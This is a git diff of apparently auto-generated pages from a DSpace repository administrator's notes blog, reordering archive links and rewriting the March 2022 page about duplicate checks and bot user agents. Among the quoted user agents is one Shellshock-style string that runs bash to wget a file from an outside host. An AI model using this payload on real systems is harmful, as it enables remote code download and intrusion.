                                                                            9. diff --git a/docs/2019-01/index.html b/docs/2019-01/index.html index ebf072654..8f9681b5e 100644 --- a/docs/2019-01/index.html +++ b/docs/2019-01/index.html @@ -50,7 +50,7 @@ I don’t see anything interesting in the web server logs around that time t 357 207.46.13.1 903 54.70.40.11 "/> - + @@ -1264,9 +1264,9 @@ identify: CorruptImageProfile `xmp' @ warning/profile.c/SetImageProfileInter
                                                                                -
                                                                              1. March, 2022
                                                                              2. +
                                                                              3. April, 2022
                                                                              4. -
                                                                              5. April, 2022
                                                                              6. +
                                                                              7. March, 2022
                                                                              8. February, 2022
                                                                              9. diff --git a/docs/2019-02/index.html b/docs/2019-02/index.html index f4ea28b8c..cc74fb8ff 100644 --- a/docs/2019-02/index.html +++ b/docs/2019-02/index.html @@ -72,7 +72,7 @@ real 0m19.873s user 0m22.203s sys 0m1.979s "/> - + @@ -1344,9 +1344,9 @@ Please see the DSpace documentation for assistance.
                                                                                  -
                                                                                1. March, 2022
                                                                                2. +
                                                                                3. April, 2022
                                                                                4. -
                                                                                5. April, 2022
                                                                                6. +
                                                                                7. March, 2022
                                                                                8. February, 2022
                                                                                9. diff --git a/docs/2019-03/index.html b/docs/2019-03/index.html index a4d50b78b..567c0ce4b 100644 --- a/docs/2019-03/index.html +++ b/docs/2019-03/index.html @@ -46,7 +46,7 @@ Most worryingly, there are encoding errors in the abstracts for eleven items, fo I think I will need to ask Udana to re-copy and paste the abstracts with more care using Google Docs "/> - + @@ -1208,9 +1208,9 @@ sys 0m2.551s
                                                                                    -
                                                                                  1. March, 2022
                                                                                  2. +
                                                                                  3. April, 2022
                                                                                  4. -
                                                                                  5. April, 2022
                                                                                  6. +
                                                                                  7. March, 2022
                                                                                  8. February, 2022
                                                                                  9. diff --git a/docs/2019-04/index.html b/docs/2019-04/index.html index eca130534..d3eb711ef 100644 --- a/docs/2019-04/index.html +++ b/docs/2019-04/index.html @@ -64,7 +64,7 @@ $ ./fix-metadata-values.py -i /tmp/2019-02-21-fix-4-regions.csv -db dspace -u ds $ ./delete-metadata-values.py -i /tmp/2019-02-21-delete-2-countries.csv -db dspace -u dspace -p 'fuuu' -m 228 -f cg.coverage.country -d $ ./delete-metadata-values.py -i /tmp/2019-02-21-delete-1-region.csv -db dspace -u dspace -p 'fuuu' -m 231 -f cg.coverage.region -d "/> - + @@ -1299,9 +1299,9 @@ UPDATE 14
                                                                                      -
                                                                                    1. March, 2022
                                                                                    2. +
                                                                                    3. April, 2022
                                                                                    4. -
                                                                                    5. April, 2022
                                                                                    6. +
                                                                                    7. March, 2022
                                                                                    8. February, 2022
                                                                                    9. diff --git a/docs/2019-05/index.html b/docs/2019-05/index.html index 2a682a3f4..16e601de6 100644 --- a/docs/2019-05/index.html +++ b/docs/2019-05/index.html @@ -48,7 +48,7 @@ DELETE 1 But after this I tried to delete the item from the XMLUI and it is still present… "/> - + @@ -631,9 +631,9 @@ COPY 64871
                                                                                        -
                                                                                      1. March, 2022
                                                                                      2. +
                                                                                      3. April, 2022
                                                                                      4. -
                                                                                      5. April, 2022
                                                                                      6. +
                                                                                      7. March, 2022
                                                                                      8. February, 2022
                                                                                      9. diff --git a/docs/2019-06/index.html b/docs/2019-06/index.html index 9f626b29c..ca0a35872 100644 --- a/docs/2019-06/index.html +++ b/docs/2019-06/index.html @@ -34,7 +34,7 @@ Run system updates on CGSpace (linode18) and reboot it Skype with Marie-Angélique and Abenet about CG Core v2 "/> - + @@ -317,9 +317,9 @@ UPDATE 2
                                                                                          -
                                                                                        1. March, 2022
                                                                                        2. +
                                                                                        3. April, 2022
                                                                                        4. -
                                                                                        5. April, 2022
                                                                                        6. +
                                                                                        7. March, 2022
                                                                                        8. February, 2022
                                                                                        9. diff --git a/docs/2019-07/index.html b/docs/2019-07/index.html index 14d0405b5..d8a20e98e 100644 --- a/docs/2019-07/index.html +++ b/docs/2019-07/index.html @@ -38,7 +38,7 @@ CGSpace Abenet had another similar issue a few days ago when trying to find the stats for 2018 in the RTB community "/> - + @@ -554,9 +554,9 @@ issn.validate('1020-3362')
                                                                                            -
                                                                                          1. March, 2022
                                                                                          2. +
                                                                                          3. April, 2022
                                                                                          4. -
                                                                                          5. April, 2022
                                                                                          6. +
                                                                                          7. March, 2022
                                                                                          8. February, 2022
                                                                                          9. diff --git a/docs/2019-08/index.html b/docs/2019-08/index.html index 0dd3ed43c..82faaaddb 100644 --- a/docs/2019-08/index.html +++ b/docs/2019-08/index.html @@ -46,7 +46,7 @@ After rebooting, all statistics cores were loaded… wow, that’s luck Run system updates on DSpace Test (linode19) and reboot it "/> - + @@ -573,9 +573,9 @@ sys 2m27.496s
                                                                                              -
                                                                                            1. March, 2022
                                                                                            2. +
                                                                                            3. April, 2022
                                                                                            4. -
                                                                                            5. April, 2022
                                                                                            6. +
                                                                                            7. March, 2022
                                                                                            8. February, 2022
                                                                                            9. diff --git a/docs/2019-09/index.html b/docs/2019-09/index.html index 0ad201931..c23215a7e 100644 --- a/docs/2019-09/index.html +++ b/docs/2019-09/index.html @@ -72,7 +72,7 @@ Here are the top ten IPs in the nginx XMLUI and REST/OAI logs this morning: 7249 2a01:7e00::f03c:91ff:fe18:7396 9124 45.5.186.2 "/> - + @@ -581,9 +581,9 @@ $ csv-metadata-quality -i /tmp/clarisa-institutions.csv -o /tmp/clarisa-institut
                                                                                                -
                                                                                              1. March, 2022
                                                                                              2. +
                                                                                              3. April, 2022
                                                                                              4. -
                                                                                              5. April, 2022
                                                                                              6. +
                                                                                              7. March, 2022
                                                                                              8. February, 2022
                                                                                              9. diff --git a/docs/2019-10/index.html b/docs/2019-10/index.html index 853624186..143a6f578 100644 --- a/docs/2019-10/index.html +++ b/docs/2019-10/index.html @@ -18,7 +18,7 @@ - + @@ -385,9 +385,9 @@ $ dspace import -a -c 10568/104057 -e fuu@cgiar.org -m 2019-10-15-Bioversity.map
                                                                                                  -
                                                                                                1. March, 2022
                                                                                                2. +
                                                                                                3. April, 2022
                                                                                                4. -
                                                                                                5. April, 2022
                                                                                                6. +
                                                                                                7. March, 2022
                                                                                                8. February, 2022
                                                                                                9. diff --git a/docs/2019-11/index.html b/docs/2019-11/index.html index 788998e48..76482e183 100644 --- a/docs/2019-11/index.html +++ b/docs/2019-11/index.html @@ -58,7 +58,7 @@ Let’s see how many of the REST API requests were for bitstreams (because t # zcat --force /var/log/nginx/rest.log.*.gz | grep -E "[0-9]{1,2}/Oct/2019" | grep -c -E "/rest/bitstreams" 106781 "/> - + @@ -692,9 +692,9 @@ $ tidy -xml -utf8 -iq -m -w 0 dspace/config/controlled-vocabularies/cg-creator-i
                                                                                                    -
                                                                                                  1. March, 2022
                                                                                                  2. +
                                                                                                  3. April, 2022
                                                                                                  4. -
                                                                                                  5. April, 2022
                                                                                                  6. +
                                                                                                  7. March, 2022
                                                                                                  8. February, 2022
                                                                                                  9. diff --git a/docs/2019-12/index.html b/docs/2019-12/index.html index e40205624..3d5468901 100644 --- a/docs/2019-12/index.html +++ b/docs/2019-12/index.html @@ -46,7 +46,7 @@ Make sure all packages are up to date and the package manager is up to date, the # dpkg -C # reboot "/> - + @@ -404,9 +404,9 @@ UPDATE 1
                                                                                                      -
                                                                                                    1. March, 2022
                                                                                                    2. +
                                                                                                    3. April, 2022
                                                                                                    4. -
                                                                                                    5. April, 2022
                                                                                                    6. +
                                                                                                    7. March, 2022
                                                                                                    8. February, 2022
                                                                                                    9. diff --git a/docs/2020-01/index.html b/docs/2020-01/index.html index 77b63ac3e..d54d8e605 100644 --- a/docs/2020-01/index.html +++ b/docs/2020-01/index.html @@ -56,7 +56,7 @@ I tweeted the CGSpace repository link "/> - + @@ -604,9 +604,9 @@ COPY 2900
                                                                                                        -
                                                                                                      1. March, 2022
                                                                                                      2. +
                                                                                                      3. April, 2022
                                                                                                      4. -
                                                                                                      5. April, 2022
                                                                                                      6. +
                                                                                                      7. March, 2022
                                                                                                      8. February, 2022
                                                                                                      9. diff --git a/docs/2020-02/index.html b/docs/2020-02/index.html index aa166bb93..fb78989ea 100644 --- a/docs/2020-02/index.html +++ b/docs/2020-02/index.html @@ -38,7 +38,7 @@ The code finally builds and runs with a fresh install "/> - + @@ -1275,9 +1275,9 @@ Moving: 21993 into core statistics-2019
                                                                                                          -
                                                                                                        1. March, 2022
                                                                                                        2. +
                                                                                                        3. April, 2022
                                                                                                        4. -
                                                                                                        5. April, 2022
                                                                                                        6. +
                                                                                                        7. March, 2022
                                                                                                        8. February, 2022
                                                                                                        9. diff --git a/docs/2020-03/index.html b/docs/2020-03/index.html index f160e0398..54b20a443 100644 --- a/docs/2020-03/index.html +++ b/docs/2020-03/index.html @@ -42,7 +42,7 @@ You need to download this into the DSpace 6.x source and compile it "/> - + @@ -484,9 +484,9 @@ $ tidy -xml -utf8 -iq -m -w 0 dspace/config/controlled-vocabularies/cg-creator-i
                                                                                                            -
                                                                                                          1. March, 2022
                                                                                                          2. +
                                                                                                          3. April, 2022
                                                                                                          4. -
                                                                                                          5. April, 2022
                                                                                                          6. +
                                                                                                          7. March, 2022
                                                                                                          8. February, 2022
                                                                                                          9. diff --git a/docs/2020-04/index.html b/docs/2020-04/index.html index d9dad01e1..1d0b0382e 100644 --- a/docs/2020-04/index.html +++ b/docs/2020-04/index.html @@ -48,7 +48,7 @@ The third item now has a donut with score 1 since I tweeted it last week On the same note, the one item Abenet pointed out last week now has a donut with score of 104 after I tweeted it last week "/> - + @@ -658,9 +658,9 @@ $ psql -c 'select * from pg_stat_activity' | wc -l
                                                                                                              -
                                                                                                            1. March, 2022
                                                                                                            2. +
                                                                                                            3. April, 2022
                                                                                                            4. -
                                                                                                            5. April, 2022
                                                                                                            6. +
                                                                                                            7. March, 2022
                                                                                                            8. February, 2022
                                                                                                            9. diff --git a/docs/2020-05/index.html b/docs/2020-05/index.html index cf45701cd..8be3c40e8 100644 --- a/docs/2020-05/index.html +++ b/docs/2020-05/index.html @@ -34,7 +34,7 @@ I see that CGSpace (linode18) is still using PostgreSQL JDBC driver version 42.2 "/> - + @@ -477,9 +477,9 @@ Caused by: java.lang.NullPointerException
                                                                                                                -
                                                                                                              1. March, 2022
                                                                                                              2. +
                                                                                                              3. April, 2022
                                                                                                              4. -
                                                                                                              5. April, 2022
                                                                                                              6. +
                                                                                                              7. March, 2022
                                                                                                              8. February, 2022
                                                                                                              9. diff --git a/docs/2020-06/index.html b/docs/2020-06/index.html index 85b3462cf..cce24ce34 100644 --- a/docs/2020-06/index.html +++ b/docs/2020-06/index.html @@ -36,7 +36,7 @@ I sent Atmire the dspace.log from today and told them to log into the server to In other news, I checked the statistics API on DSpace 6 and it’s working I tried to build the OAI registry on the freshly migrated DSpace 6 on DSpace Test and I get an error: "/> - + @@ -811,9 +811,9 @@ $ csvcut -c 'id,cg.subject.ilri[],cg.subject.ilri[en_US],dc.subject[en_US]&#
                                                                                                                  -
                                                                                                                1. March, 2022
                                                                                                                2. +
                                                                                                                3. April, 2022
                                                                                                                4. -
                                                                                                                5. April, 2022
                                                                                                                6. +
                                                                                                                7. March, 2022
                                                                                                                8. February, 2022
                                                                                                                9. diff --git a/docs/2020-07/index.html b/docs/2020-07/index.html index c54733e93..178c21910 100644 --- a/docs/2020-07/index.html +++ b/docs/2020-07/index.html @@ -38,7 +38,7 @@ I restarted Tomcat and PostgreSQL and the issue was gone Since I was restarting Tomcat anyways I decided to redeploy the latest changes from the 5_x-prod branch and I added a note about COVID-19 items to the CGSpace frontpage at Peter’s request "/> - + @@ -1142,9 +1142,9 @@ Fixed 4 occurences of: Muloi, D.M.
                                                                                                                    -
                                                                                                                  1. March, 2022
                                                                                                                  2. +
                                                                                                                  3. April, 2022
                                                                                                                  4. -
                                                                                                                  5. April, 2022
                                                                                                                  6. +
                                                                                                                  7. March, 2022
                                                                                                                  8. February, 2022
                                                                                                                  9. diff --git a/docs/2020-08/index.html b/docs/2020-08/index.html index c19cef0fc..5bcd2f625 100644 --- a/docs/2020-08/index.html +++ b/docs/2020-08/index.html @@ -36,7 +36,7 @@ It is class based so I can easily add support for other vocabularies, and the te "/> - + @@ -798,9 +798,9 @@ $ grep -c added /tmp/2020-08-27-countrycodetagger.log
                                                                                                                      -
                                                                                                                    1. March, 2022
                                                                                                                    2. +
                                                                                                                    3. April, 2022
                                                                                                                    4. -
                                                                                                                    5. April, 2022
                                                                                                                    6. +
                                                                                                                    7. March, 2022
                                                                                                                    8. February, 2022
                                                                                                                    9. diff --git a/docs/2020-09/index.html b/docs/2020-09/index.html index aeda8a593..f658278f0 100644 --- a/docs/2020-09/index.html +++ b/docs/2020-09/index.html @@ -48,7 +48,7 @@ I filed a bug on OpenRXV: https://github.com/ilri/OpenRXV/issues/39 I filed an issue on OpenRXV to make some minor edits to the admin UI: https://github.com/ilri/OpenRXV/issues/40 "/> - + @@ -717,9 +717,9 @@ solr_query_params = {
                                                                                                                        -
                                                                                                                      1. March, 2022
                                                                                                                      2. +
                                                                                                                      3. April, 2022
                                                                                                                      4. -
                                                                                                                      5. April, 2022
                                                                                                                      6. +
                                                                                                                      7. March, 2022
                                                                                                                      8. February, 2022
                                                                                                                      9. diff --git a/docs/2020-10/index.html b/docs/2020-10/index.html index 25241fe82..15f8ed23f 100644 --- a/docs/2020-10/index.html +++ b/docs/2020-10/index.html @@ -44,7 +44,7 @@ During the FlywayDB migration I got an error: "/> - + @@ -1241,9 +1241,9 @@ $ ./delete-metadata-values.py -i 2020-10-31-delete-74-sponsors.csv -db dspace -u
                                                                                                                          -
                                                                                                                        1. March, 2022
                                                                                                                        2. +
                                                                                                                        3. April, 2022
                                                                                                                        4. -
                                                                                                                        5. April, 2022
                                                                                                                        6. +
                                                                                                                        7. March, 2022
                                                                                                                        8. February, 2022
                                                                                                                        9. diff --git a/docs/2020-11/index.html b/docs/2020-11/index.html index c81a19e52..63733f291 100644 --- a/docs/2020-11/index.html +++ b/docs/2020-11/index.html @@ -32,7 +32,7 @@ So far we’ve spent at least fifty hours to process the statistics and stat "/> - + @@ -731,9 +731,9 @@ $ ./fix-metadata-values.py -i 2020-11-30-fix-hung-orcid.csv -db dspace63 -u dspa
                                                                                                                            -
                                                                                                                          1. March, 2022
                                                                                                                          2. +
                                                                                                                          3. April, 2022
                                                                                                                          4. -
                                                                                                                          5. April, 2022
                                                                                                                          6. +
                                                                                                                          7. March, 2022
                                                                                                                          8. February, 2022
                                                                                                                          9. diff --git a/docs/2020-12/index.html b/docs/2020-12/index.html index d323c7d2e..668e7f33e 100644 --- a/docs/2020-12/index.html +++ b/docs/2020-12/index.html @@ -36,7 +36,7 @@ I started processing those (about 411,000 records): "/> - + @@ -869,9 +869,9 @@ $ query-json '.items | length' /tmp/policy2.json
                                                                                                                              -
                                                                                                                            1. March, 2022
                                                                                                                            2. +
                                                                                                                            3. April, 2022
                                                                                                                            4. -
                                                                                                                            5. April, 2022
                                                                                                                            6. +
                                                                                                                            7. March, 2022
                                                                                                                            8. February, 2022
                                                                                                                            9. diff --git a/docs/2021-01/index.html b/docs/2021-01/index.html index cc12f1733..f6c98c807 100644 --- a/docs/2021-01/index.html +++ b/docs/2021-01/index.html @@ -50,7 +50,7 @@ For example, this item has 51 views on CGSpace, but 0 on AReS "/> - + @@ -688,9 +688,9 @@ java.lang.IllegalArgumentException: Invalid character found in the request targe
                                                                                                                                -
                                                                                                                              1. March, 2022
                                                                                                                              2. +
                                                                                                                              3. April, 2022
                                                                                                                              4. -
                                                                                                                              5. April, 2022
                                                                                                                              6. +
                                                                                                                              7. March, 2022
                                                                                                                              8. February, 2022
                                                                                                                              9. diff --git a/docs/2021-02/index.html b/docs/2021-02/index.html index d1b87d19d..62f28a8ee 100644 --- a/docs/2021-02/index.html +++ b/docs/2021-02/index.html @@ -60,7 +60,7 @@ $ curl -s 'http://localhost:9200/openrxv-items-temp/_count?q=*&pretty } } "/> - + @@ -898,9 +898,9 @@ dspace=# UPDATE metadatavalue SET text_lang='en_US' WHERE dspace_object_
                                                                                                                                  -
                                                                                                                                1. March, 2022
                                                                                                                                2. +
                                                                                                                                3. April, 2022
                                                                                                                                4. -
                                                                                                                                5. April, 2022
                                                                                                                                6. +
                                                                                                                                7. March, 2022
                                                                                                                                8. February, 2022
                                                                                                                                9. diff --git a/docs/2021-03/index.html b/docs/2021-03/index.html index 58b75ea4c..2fd8e17bd 100644 --- a/docs/2021-03/index.html +++ b/docs/2021-03/index.html @@ -34,7 +34,7 @@ Also, we found some issues building and running OpenRXV currently due to ecosyst "/> - + @@ -875,9 +875,9 @@ Also, we found some issues building and running OpenRXV currently due to ecosyst
                                                                                                                                    -
                                                                                                                                  1. March, 2022
                                                                                                                                  2. +
                                                                                                                                  3. April, 2022
                                                                                                                                  4. -
                                                                                                                                  5. April, 2022
                                                                                                                                  6. +
                                                                                                                                  7. March, 2022
                                                                                                                                  8. February, 2022
                                                                                                                                  9. diff --git a/docs/2021-04/index.html b/docs/2021-04/index.html index 55823a76b..d55023cb1 100644 --- a/docs/2021-04/index.html +++ b/docs/2021-04/index.html @@ -44,7 +44,7 @@ Perhaps one of the containers crashed, I should have looked closer but I was in "/> - + @@ -1042,9 +1042,9 @@ $ chrt -b 0 dspace dsrun com.atmire.statistics.util.update.atomic.AtomicStatisti
                                                                                                                                      -
                                                                                                                                    1. March, 2022
                                                                                                                                    2. +
                                                                                                                                    3. April, 2022
                                                                                                                                    4. -
                                                                                                                                    5. April, 2022
                                                                                                                                    6. +
                                                                                                                                    7. March, 2022
                                                                                                                                    8. February, 2022
                                                                                                                                    9. diff --git a/docs/2021-05/index.html b/docs/2021-05/index.html index 67d72ec63..ec54b09d1 100644 --- a/docs/2021-05/index.html +++ b/docs/2021-05/index.html @@ -36,7 +36,7 @@ I looked at the top user agents and IPs in the Solr statistics for last month an I will add the RI/1.0 pattern to our DSpace agents overload and purge them from Solr (we had previously seen this agent with 9,000 hits or so in 2020-09), but I think I will leave the Microsoft Word one… as that’s an actual user… "/> - + @@ -685,9 +685,9 @@ May 26, 02:57 UTC
                                                                                                                                        -
                                                                                                                                      1. March, 2022
                                                                                                                                      2. +
                                                                                                                                      3. April, 2022
                                                                                                                                      4. -
                                                                                                                                      5. April, 2022
                                                                                                                                      6. +
                                                                                                                                      7. March, 2022
                                                                                                                                      8. February, 2022
                                                                                                                                      9. diff --git a/docs/2021-06/index.html b/docs/2021-06/index.html index 8eef3249f..b89a5dbf0 100644 --- a/docs/2021-06/index.html +++ b/docs/2021-06/index.html @@ -36,7 +36,7 @@ I simply started it and AReS was running again: "/> - + @@ -693,9 +693,9 @@ I simply started it and AReS was running again:
                                                                                                                                          -
                                                                                                                                        1. March, 2022
                                                                                                                                        2. +
                                                                                                                                        3. April, 2022
                                                                                                                                        4. -
                                                                                                                                        5. April, 2022
                                                                                                                                        6. +
                                                                                                                                        7. March, 2022
                                                                                                                                        8. February, 2022
                                                                                                                                        9. diff --git a/docs/2021-07/index.html b/docs/2021-07/index.html index 85638bff9..4e0fcc2a6 100644 --- a/docs/2021-07/index.html +++ b/docs/2021-07/index.html @@ -30,7 +30,7 @@ Export another list of ALL subjects on CGSpace, including AGROVOC and non-AGROVO localhost/dspace63= > \COPY (SELECT DISTINCT LOWER(text_value) AS subject, count(*) FROM metadatavalue WHERE dspace_object_id in (SELECT dspace_object_id FROM item) AND metadata_field_id IN (119, 120, 127, 122, 128, 125, 135, 203, 208, 210, 215, 123, 236, 242, 187) GROUP BY subject ORDER BY count DESC) to /tmp/2021-07-01-all-subjects.csv WITH CSV HEADER; COPY 20994 "/> - + @@ -715,9 +715,9 @@ COPY 20994
                                                                                                                                            -
                                                                                                                                          1. March, 2022
                                                                                                                                          2. +
                                                                                                                                          3. April, 2022
                                                                                                                                          4. -
                                                                                                                                          5. April, 2022
                                                                                                                                          6. +
                                                                                                                                          7. March, 2022
                                                                                                                                          8. February, 2022
                                                                                                                                          9. diff --git a/docs/2021-08/index.html b/docs/2021-08/index.html index 79c104a32..40c732c88 100644 --- a/docs/2021-08/index.html +++ b/docs/2021-08/index.html @@ -32,7 +32,7 @@ Update Docker images on AReS server (linode20) and reboot the server: I decided to upgrade linode20 from Ubuntu 18.04 to 20.04 "/> - + @@ -606,9 +606,9 @@ I decided to upgrade linode20 from Ubuntu 18.04 to 20.04
                                                                                                                                              -
                                                                                                                                            1. March, 2022
                                                                                                                                            2. +
                                                                                                                                            3. April, 2022
                                                                                                                                            4. -
                                                                                                                                            5. April, 2022
                                                                                                                                            6. +
                                                                                                                                            7. March, 2022
                                                                                                                                            8. February, 2022
                                                                                                                                            9. diff --git a/docs/2021-09/index.html b/docs/2021-09/index.html index 0e9ba330e..9334c865b 100644 --- a/docs/2021-09/index.html +++ b/docs/2021-09/index.html @@ -48,7 +48,7 @@ The syntax Moayad showed me last month doesn’t seem to honor the search qu "/> - + @@ -588,9 +588,9 @@ The syntax Moayad showed me last month doesn’t seem to honor the search qu
                                                                                                                                                -
                                                                                                                                              1. March, 2022
                                                                                                                                              2. +
                                                                                                                                              3. April, 2022
                                                                                                                                              4. -
                                                                                                                                              5. April, 2022
                                                                                                                                              6. +
                                                                                                                                              7. March, 2022
                                                                                                                                              8. February, 2022
                                                                                                                                              9. diff --git a/docs/2021-10/index.html b/docs/2021-10/index.html index 6c609579a..f853c4105 100644 --- a/docs/2021-10/index.html +++ b/docs/2021-10/index.html @@ -46,7 +46,7 @@ $ wc -l /tmp/2021-10-01-affiliations.txt So we have 1879/7100 (26.46%) matching already "/> - + @@ -791,9 +791,9 @@ Try doing it in two imports. In first import, remove all authors. In second impo
                                                                                                                                                  -
                                                                                                                                                1. March, 2022
                                                                                                                                                2. +
                                                                                                                                                3. April, 2022
                                                                                                                                                4. -
                                                                                                                                                5. April, 2022
                                                                                                                                                6. +
                                                                                                                                                7. March, 2022
                                                                                                                                                8. February, 2022
                                                                                                                                                9. diff --git a/docs/2021-11/index.html b/docs/2021-11/index.html index c2885b017..fa7c92b6c 100644 --- a/docs/2021-11/index.html +++ b/docs/2021-11/index.html @@ -32,7 +32,7 @@ First I exported all the 2019 stats from CGSpace: $ ./run.sh -s http://localhost:8081/solr/statistics -f 'time:2019-*' -a export -o statistics-2019.json -k uid $ zstd statistics-2019.json "/> - + @@ -494,9 +494,9 @@ $ zstd statistics-2019.json
                                                                                                                                                    -
                                                                                                                                                  1. March, 2022
                                                                                                                                                  2. +
                                                                                                                                                  3. April, 2022
                                                                                                                                                  4. -
                                                                                                                                                  5. April, 2022
                                                                                                                                                  6. +
                                                                                                                                                  7. March, 2022
                                                                                                                                                  8. February, 2022
                                                                                                                                                  9. diff --git a/docs/2021-12/index.html b/docs/2021-12/index.html index c5038d7c5..d3c3b0451 100644 --- a/docs/2021-12/index.html +++ b/docs/2021-12/index.html @@ -40,7 +40,7 @@ Purging 455 hits from WhatsApp in statistics Total number of bot hits purged: 3679 "/> - + @@ -577,9 +577,9 @@ Total number of bot hits purged: 3679
                                                                                                                                                      -
                                                                                                                                                    1. March, 2022
                                                                                                                                                    2. +
                                                                                                                                                    3. April, 2022
                                                                                                                                                    4. -
                                                                                                                                                    5. April, 2022
                                                                                                                                                    6. +
                                                                                                                                                    7. March, 2022
                                                                                                                                                    8. February, 2022
                                                                                                                                                    9. diff --git a/docs/2022-01/index.html b/docs/2022-01/index.html index d1c9793a9..7f0b7c215 100644 --- a/docs/2022-01/index.html +++ b/docs/2022-01/index.html @@ -24,7 +24,7 @@ Start a full harvest on AReS Start a full harvest on AReS "/> - + @@ -380,9 +380,9 @@ Start a full harvest on AReS
                                                                                                                                                        -
                                                                                                                                                      1. March, 2022
                                                                                                                                                      2. +
                                                                                                                                                      3. April, 2022
                                                                                                                                                      4. -
                                                                                                                                                      5. April, 2022
                                                                                                                                                      6. +
                                                                                                                                                      7. March, 2022
                                                                                                                                                      8. February, 2022
                                                                                                                                                      9. diff --git a/docs/2022-02/index.html b/docs/2022-02/index.html index 2985a7871..5ac983ab1 100644 --- a/docs/2022-02/index.html +++ b/docs/2022-02/index.html @@ -38,7 +38,7 @@ We agreed to try to do more alignment of affiliations/funders with ROR "/> - + @@ -724,9 +724,9 @@ isNotNull(value.match('699'))
                                                                                                                                                          -
                                                                                                                                                        1. March, 2022
                                                                                                                                                        2. +
                                                                                                                                                        3. April, 2022
                                                                                                                                                        4. -
                                                                                                                                                        5. April, 2022
                                                                                                                                                        6. +
                                                                                                                                                        7. March, 2022
                                                                                                                                                        8. February, 2022
                                                                                                                                                        9. diff --git a/docs/2022-03/index.html b/docs/2022-03/index.html index 68cc24803..4e3d954ba 100644 --- a/docs/2022-03/index.html +++ b/docs/2022-03/index.html @@ -6,19 +6,35 @@ - - + + - - + + - - - + + + @@ -26,11 +42,11 @@ { "@context": "http://schema.org", "@type": "BlogPosting", - "headline": "April, 2022", + "headline": "March, 2022", "url": "https://alanorth.github.io/cgspace-notes/2022-03/", - "wordCount": "1261", - "datePublished": "2022-03-01T10:53:39+03:00", - "dateModified": "2022-04-24T21:06:28+03:00", + "wordCount": "1836", + "datePublished": "2022-03-01T16:46:54+03:00", + "dateModified": "2022-04-04T19:15:58+03:00", "author": { "@type": "Person", "name": "Alan Orth" @@ -43,7 +59,7 @@ - April, 2022 | CGSpace Notes + March, 2022 | CGSpace Notes @@ -95,236 +111,352 @@
                                                                                                                                                          -

                                                                                                                                                          April, 2022

                                                                                                                                                          +

                                                                                                                                                          March, 2022

                                                                                                                                                          -

                                                                                                                                                          2022-04-01

                                                                                                                                                          +

                                                                                                                                                          2022-03-01

                                                                                                                                                            -
                                                                                                                                                          • I did G1GC tests on DSpace Test (linode26) to compliment the CMS tests I did yesterday +
                                                                                                                                                          • Send Gaia the last batch of potential duplicates for items 701 to 980:
                                                                                                                                                          • +
                                                                                                                                                          +
                                                                                                                                                          $ csvcut -c id,dc.title,dcterms.issued,dcterms.type ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv > /tmp/tac4.csv
                                                                                                                                                          +$ ./ilri/check-duplicates.py -i /tmp/tac4.csv -db dspace -u dspace -p 'fuuu' -o /tmp/2022-03-01-tac-batch4-701-980.csv
                                                                                                                                                          +$ csvcut -c id,filename ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv > /tmp/tac4-filenames.csv
                                                                                                                                                          +$ csvjoin -c id /tmp/2022-03-01-tac-batch4-701-980.csv /tmp/tac4-filenames.csv > /tmp/2022-03-01-tac-batch4-701-980-filenames.csv
                                                                                                                                                          +

                                                                                                                                                          2022-03-04

                                                                                                                                                            -
                                                                                                                                                          • The Discovery indexing took this long:
                                                                                                                                                          • +
                                                                                                                                                          • Looking over the CGSpace Solr statistics from 2022-02 +
                                                                                                                                                              +
                                                                                                                                                            • I see a few new bots, though once I expanded my search for user agents with “www” in the name I found so many more!
                                                                                                                                                            • +
                                                                                                                                                            • Here are some of the more prevalent or weird ones: +
                                                                                                                                                                +
                                                                                                                                                              • axios/0.21.1
                                                                                                                                                              • +
                                                                                                                                                              • Mozilla/5.0 (compatible; Faveeo/1.0; +http://www.faveeo.com)
                                                                                                                                                              • +
                                                                                                                                                              • Nutraspace/Nutch-1.2 (www.nutraspace.com)
                                                                                                                                                              • +
                                                                                                                                                              • Mozilla/5.0 Moreover/5.1 (+http://www.moreover.com; webmaster@moreover.com)
                                                                                                                                                              • +
                                                                                                                                                              • Mozilla/5.0 (compatible; Exploratodo/1.0; +http://www.exploratodo.com
                                                                                                                                                              • +
                                                                                                                                                              • Mozilla/5.0 (compatible; GroupHigh/1.0; +http://www.grouphigh.com/)
                                                                                                                                                              • +
                                                                                                                                                              • Crowsnest/0.5 (+http://www.crowsnest.tv/)
                                                                                                                                                              • +
                                                                                                                                                              • Mozilla/5.0/Firefox/42.0 - nbertaupete95(at)gmail.com
                                                                                                                                                              • +
                                                                                                                                                              • metha/0.2.27
                                                                                                                                                              • +
                                                                                                                                                              • ZaloPC-win32-24v454
                                                                                                                                                              • +
                                                                                                                                                              • Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:x.x.x) Gecko/20041107 Firefox/x.x
                                                                                                                                                              • +
                                                                                                                                                              • ZoteroTranslationServer/WMF (mailto:noc@wikimedia.org)
                                                                                                                                                              • +
                                                                                                                                                              • FullStoryBot/1.0 (+https://www.fullstory.com)
                                                                                                                                                              • +
                                                                                                                                                              • Link Validity Check From: http://www.usgs.gov
                                                                                                                                                              • +
                                                                                                                                                              • OSPScraper (+https://www.opensyllabusproject.org)
                                                                                                                                                              • +
                                                                                                                                                              • () { :;}; /bin/bash -c "wget -O /tmp/bbb www.redel.net.br/1.php?id=3137382e37392e3138372e313832"
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                            • +
                                                                                                                                                            • I submitted a pull request to COUNTER-Robots with some of these
                                                                                                                                                            • +
                                                                                                                                                            +
                                                                                                                                                          • +
                                                                                                                                                          • I purged a bunch of hits from the stats using the check-spider-hits.sh script:
                                                                                                                                                          • +
                                                                                                                                                          +
                                                                                                                                                          ]$ ./ilri/check-spider-hits.sh -f dspace/config/spiders/agents/ilri -p
                                                                                                                                                          +Purging 6 hits from scalaj-http in statistics
                                                                                                                                                          +Purging 5 hits from lua-resty-http in statistics
                                                                                                                                                          +Purging 9 hits from AHC in statistics
                                                                                                                                                          +Purging 7 hits from acebookexternalhit in statistics
                                                                                                                                                          +Purging 1011 hits from axios\/[0-9] in statistics
                                                                                                                                                          +Purging 2216 hits from Faveeo\/[0-9] in statistics
                                                                                                                                                          +Purging 1164 hits from Moreover\/[0-9] in statistics
                                                                                                                                                          +Purging 740 hits from Exploratodo\/[0-9] in statistics
                                                                                                                                                          +Purging 585 hits from GroupHigh\/[0-9] in statistics
                                                                                                                                                          +Purging 438 hits from Crowsnest\/[0-9] in statistics
